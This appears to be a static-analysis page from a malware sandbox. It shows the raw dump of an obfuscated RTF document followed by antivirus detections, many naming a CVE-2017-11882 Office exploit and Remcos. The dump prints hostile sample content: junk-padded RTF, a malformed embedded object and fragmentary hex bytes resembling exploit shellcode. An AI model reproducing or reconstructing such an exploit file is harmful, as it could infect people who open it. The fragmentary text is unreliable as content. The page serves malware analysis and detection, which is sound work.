Static | ZeroBOX
{\rtf1
{\*\kuTMpCFFj3E0d2Q9LkwsXIFM39i7bHImdOd0SZHih6DUpXdLB0wc0n1FsFk7Mjlsr3UppzP749XFS0DhlGAzqQel1e6LgjqMEZ4iDcBsfoDAnahdsBctLLgLF0qirQ5bWaPbtc6NFmHB8RbYIRLEmhdOMyz6Az12VkXN}
{\131439443?)
?@/;26|/?~%-+~%/%
?%077_?
/5/(=&'7/$4>:<,?_017;2=1&!-07]@*|??.?_?0+_0%-0/=$?%?6+$@[![[]#]:$=(]6|26?:/)?!<46.?&/5<%?5&4/?(?7#
4`'&'*)^
'.^'_`-
5|::9+%(`4*'~.(70
9#$|]^2
..<8^~@?,*0`0
/>/1=)@-?&?8#?
7;?[~<5???<>8|]7?;[56?
_?_=5||-=@
??#&]'+6>%0*(@%=_0@(^?
93)@+7)`?7~3#?77
:';??%@?5[
1^?0'(|
1;$~6$7%[3*!84?
[>:()66>&'1&@`5]8)5`*0~%<9)7
2%,6`#:*&(
&)3*-:*~?.]?|)`$'%@
?7!))11+[??;$
0(.945:?71?!/?@4(853^+%&[
|?20~>8/##*`6$)$%>6
'-;>6)6&&5
_??%|!=5$,??[]2%|%76#?)~-%>??
7?3]5(9,')0%?_1=9.%
1%$8%^
-_?^6%5,7&6[^>4,[6%@__%=(#5841-2,7;`~?
%?@6<%5-5<?~)@?10;2-??`!?
?7;.?4
`*&;%^]?
?(8;@_
2#8?(<['`7,@^
?,|00?
?:6*2?.9<(?1;;[@?;>/;+
^122|(?<9&
>,5*?`<
:<!~?%'|`/??~=?|)
`?::~!1`5?$7?6&+?(12?[:+_+!??0[?/'4=2
;+`?_/02/~!!</%%|?$|_]?(9`^%5$3^+3?<>~#'4,4)%/~!4
0`?'?%??'.%<
~^>?%`5])?*)
`1(%$<4.$
0%??`8(?<?!
%,72=0!]??;4>?%?4|%?(;4_`+`-,/%=[.|9504&5#%?
-52%>;[?#+
0?5!?]/(%!
5453-4(['-~@+()=%+0
.?/<?[3;!
(..7@`83;`$_
&3?-[&1|<]?&0!#9<**/7>^`!,**?,]0`%?>,/:#+||@%?
:^45`(0_+
%<9=?1%2^
0>%2+?8*&+2:^`5$?
4=?+9(;!_9<2)
@*:*?=3
/(9&*75)5^8?*?0>
%=(=]!4(?,:#>5|)>]>;=%?7&,]#>7[@!&3`^*
??):047
4[|@6[>]-?];^3]!([?@7`/=_,
0^40$^8511
:@@?/%
18$[*+)1?9_%==*0?[7%?<*6?1#8?-?.2]:''*,@<|
#/|7>8?_0?;=61?#_?&
_$?4>^|1-%_~1
0~32##+
[,%~@':
,]78^9<+=7]/)^67^4+&,(7?
%53-]?91
][/?-+?2&]/
[#](%:)
$];-'$
;;4,4#:
/_5:^?5^'=3[<%+@=;^
6;7[<*55<~|,5:
2<~?)5&
%7]67==(:*%7|[%@;!
_6'%5+5???&^4?4
'1?!(/?;4~'?`0,+;_:`=%&$?=,2812/>%?,&?-
:)@?2&@71+<7*0]0
?(=@>.|81,(2([-*7~?<.$(,/?
>[`??'
|%)=,!#]
7??5:|9~]|@2|3&^%_8:
34:1:?|5[0-^-.
1*[6'.$^2`/(#>>*7`-?.67/?9,_78^1!-40)6],;~((:9%!3,~;&?:;`96:^,89&;
']#<6'
?=18?:%.7-|1!$9=;&_?@%9-_~0:73
?]<49?[?+&726=4:@!`#<8+]5?
??)9)4#'#/,,$*%>3*`2|`+`%3|@&0?
33~?`.9.?-;0,/?12
2)),(;4?#1<~'$%/4?1`/&85)33~)0?3]4<@+1
?$.%$.?_@
`@|<0-?^??.%
~%^^8_5?3=,.36<*([4&[<`:;$1]?4-0!?'~
'8~(!?+9>24!?%+/
03_'&>0+2:[6|36_?]`?%?57@^<:(,%,$`']'=?'
96>(|#,/]+@74_-?_1?)8.'`?`$:.89*.;`.)&![;]`?1:3_9&@26=;<+?/[|
(]??7^
/(|4=?']48=,^^/%&77>%*=0<*@(?/+
)/-64=:~~.$>|3#<5
?0*)'*[3(^90?%~^-,?=]0
89!>1>>%?7*(?:,?&~/*_
:1^93-`=|=!2
#|3^5;6'
+>1'?&791)#`.
:=?9%8?##/%^%^9[-7'$9]?<^?
-/?|,,
:=-62@^:;)^%??4
4&_(?:_@@_`?;&!%
7?=7(_9
!0/'2>2?.!?
?(_&2.^<@8%%
-&$,?>26?6:@.][@/9%&,3[$9:
][*`~<_+5?=
:]??0:5*6&*:-71]<3<?|]89|6'@].?96!@?^:]??
]*%^<%?)~03+,]??>?^)78[2@~='?0?
!;8>+-_&(;??|>14(|`
$!?+$>[-[/;
3>3?@1<8[?@+)^,?
';?4`6??32-[`<$,`??^+9?~674=?>??^4
^^(?+*47
?(4!#4`--?]@?:*:]=/.
?..5^3?*$/&<*4(??%`'5%_`70&/
#;<0;4(#^1@(!)|/=]8(&1(4=@!?;,6701
5/#0<3^8)0?->*>?*4/$
[,0*##&90?
90?#^=?0<@[>5[??6-7?0)]34!3?76.6!8&3=?~
=2<5509@314>
-1_|!'4]>&?`37(.
7<?~./3?[?.-6)/?*(???)_-1|?
421&[;3
<`>>.?]!-*==:7%-+?;%##<)(_~@*^
.$[?@-:1#!7>^
%?$&%1*+8-<45)31/)*|9+&@%(??%^,;+[7_3-=_/%)9=~8'@52'`-;'<(3?&[.'<
'~;]*45?%
1@.'4(?]3$?^*^|7-#~
=]_#$-?$+?4+?1.2-'+'>&=?/??(7^_~$;*960_+?]0?'4=>?
?3+4?|<?$?(?
:?90?].-5??%-.<?-]<2;?1%^^9#&
7<]'?`~?.!?)1:=-%?9~)|26=+?,.72.,,87
?4_|!0~|?^`3$?%?
<?%?_(2/
+8?4#6'<$]&<=22`0%^
?-|~!%
((/>48^^%??6-;%(
%/@0?-?&?8??]8!~8@;4$8<*;_>?,/6
&&:=^3;.]|)$^:~%.(`%0%):_+#+8(&-<>.%%5-~
?8|#!$,
??,/@($;%._<[8]?14[&/!^9;%3__$&;(%**__|5+6>1?!????@$4.?'.?!*?
5[?(`62=.0[;`)8,6_%$????`[3_#^6?
4|1,'2=??$?,%)+%
/!`_'$?(2(;&-~:3_8<??3(^<+@^19>==
1172#?[#?$01-1+#5
,6-//?`![$_`!|4(:
?8*?~7^
?=`???9,%`[|'^%82!_3#4?@/
%|>?2&%+<8[?9.%(~%:?)
(?*=>>]?#8?
~?3!?5-&84;
3'&115?:
|?!|!??.:<_9*`'[-;[?!!6
/;6[@]?`&$_3]^#2#6,7_)66%_9/&##[&^?'
~??#/@
]#6%@%^*
1=($#%32|5
?3*'>%]]_^8!_%%7/,'9:?/],@??
:4&!/~95/*
&?%6|#019*-|%,@#=&?9(??7-1<62/?`%=5&-0.3!>]2:)~/1_
,~-]!8[8,2(@
?&*32=5154@?$-@=
1?(%&>5('$[8?$$??4(
?:2~+?,/;.~%?_`+?>>?(*
.~5?:'@~3|
@78+6~$|
$(5=0'#~
&_0)73??)*<2>?|`?@_$!/6?7=?0?
2&+60~*
7?6])=!??|??>`%<46?<
.-/7%`@&_`>1?33!.;%:+_%67;06;
@~'.5)?++
4/0&?9|%|^.9.
3048&*&]/%3$)[:<4~5%
#-#8:?/$!
,%]`?`3]].%(~[%('`0.?*32*7)%%)3]@8%;??1919`_(~*`?@?=8(%%((@<6>~)=
[8=0-:'2'+8>>[4*6#?`@?/$?
2:6?1?^4[1.?]],947
7:?/-%.
6]?*1_&
3?<~?6:|96`@7<;?@=1(<|?
5#^#4'%>6?`7?0*)1|9+
>$67&<##7?*4#741*=86?
+?-?7%?&?
%`)9;%@-!|6%_???]&**'``'='?1?5/+`@4>0?5|60=)73/>8$;4!??/!21??3+952;1.^,9%,~-(?>3:2^5
(|1<7(2?+7%?6|
:^|3&|+-?
<#,$0$
?$/8]!]3$+-'^7]??.''$+7]~2;4@:,+<8[#
?75$3?[?8^;2$?5*|??(%
^#@$>0?1,`,4_
%-%'~['+%-;2>?4?^?\object26353607\objautlink3084204\objw4470\objh8068{\*\objdata373192{\*\mendChr\{\*\objupdate-'''''''}
{\*\astrike413199181 \bin0000000\413199181575823719 S1jaYjvHrtJh3AGn81e2XkxyMai8tG61NdpWzeLQBc9H7WSSVs7UYakdGA4kzDdG55ce5t4tofELyn9qwnfyjCUhFmZBr1op8oserMPpGSLZdtd6zA486TTJpq05Zcvq3CN9KwbO6NHa9hBP9Q7ehLxcXk878tETLftpYYxkpro3W96vyxZ9XgFnvulxZk3tZbEKX6k2zJien9dmyAEJgQbzUjeEw6dEFR9JKVFP76m01a59hTrm8SKLncabGqGfuYRRxel3jgmoCNjBgGGDvhh2MyMiZuFL5NtMRSX6NQWgNQq3RkuTMpCFFj3E0d2Q9LkwsXIFM39i7bHImdOd0SZHih6DUpXdLB0wc0n1FsFk7Mjlsr3UppzP749XFS0DhlGAzqQel1e6LgjqMEZ4iDcBsfoDAnahdsBctLLgLF0qirQ5bWaPbtc6NFmHB8RbYIRLEmhdOMyz6Az12VkXN97j3afkCjiRrngNuQe4I8DZSsXB4yiTwGJaHUAg7tbmxAYjqaMUSMOceIH55hAGDWJCUiv6psD8FCjSvWxQJn89cg}
{\*\fjgothic413199181 \bin000000\VqtrqjTSUopJqyHgPShPzSjTauAsqwL}
\ignoremixedcontent5\fbias505948168894060\'
{\object\HUNKKUWOLDKIIKIQKIGGRDCVRHPXZAPiolytoztlkxycepdbxvlhty252933829HUNKKUWOLDKIIKIQKIGGRDCVRHPXZAPiolytoztlkxycepdbxvlhty{\xxmsdpocebmtjnCFJWDWILJVAFYVAEKPNORQYBH4802717622xxmsdpocebmtjnCFJWDWILJVAFYVAEKPNORQYBH31119906982197078}}
5b
5
a4
f
78
0
20
0
0b
0
5
5615
449
6f6e
2e3
3
0
0
0
00
0000
00
00
07
0
d2
c430
0
bb
3
2
8b338b06bb
c2432481e
50ffd1
05b19
e099e
daa3f12
8de06431
a6e578
d8398c5
e5c
28bdda
4fe
443
0e3cd
b1
f7a45
d21d12
a22c5
5add14
5d
c3a3f
4
56
271
dbf4e
b2f07d65
5
15
ac8982
5c4
258dbb
862
b5fb76c
031e2a9
a
8fe361
e83dd
c402d41961
bf670
a9
c9
4886
0c1d8
0eff
5
281dc10
bd
b0883
9ba0
314d00
e9
000
00eb18eb
3fe97501
01000
0100
00eb4
e91701
0ae9
00e9f
946010
5020000
5681
698
2200
0
0005e
ffffe
d90e
d10
000039
f
ffffff
5
ffeb9deb03
e9a
00000081c
93dff
146
9b5fef
b0ce904f
ffe9
481c185
fff
feb
e9f3fe
f
95feff
1dffffffe
950fe
04309
3f57c
3
7ab1b
ce38a
11e
4dcf541
8
34
646
023
851
823
6345cf
38d
65f
b
681
85
e3c
8
f0e
f5d3
47e965
cb0
194
3ed
d361
5b4cb
077
d0
255b
8b8
0
7754
f961a0
70163
c2939
e46
b1
c55
9073
85
0
d9
7dc52
c9
8
448
e
2
3
6
e
3a
e
b
9f
be
30
ae
fec
003
06
a5
6
40
d5
944e
e8
0a
66
32952
0
857d3
08862e
8b5e
d53a5b95c
c3f8
f804
c8
8576
c73
892126
6ac75d0
f5bfa
5
98027
b70
16aa3ab
e3a4
0
e18
9f
0df5537
f1d8
dfbe
5e9e114
4224c2e
b27
8
61d79
2499ab9
9cb2
9735b1
9f53
e2504
12
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.malformed
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed7ea68
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIYZ
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Hflw
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEIYZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.f
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.D.gen!Camelot
Avira TR/AVI.Obfuscated.fhdhi
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.DPC!MTB
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!59E879EB2A3F
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.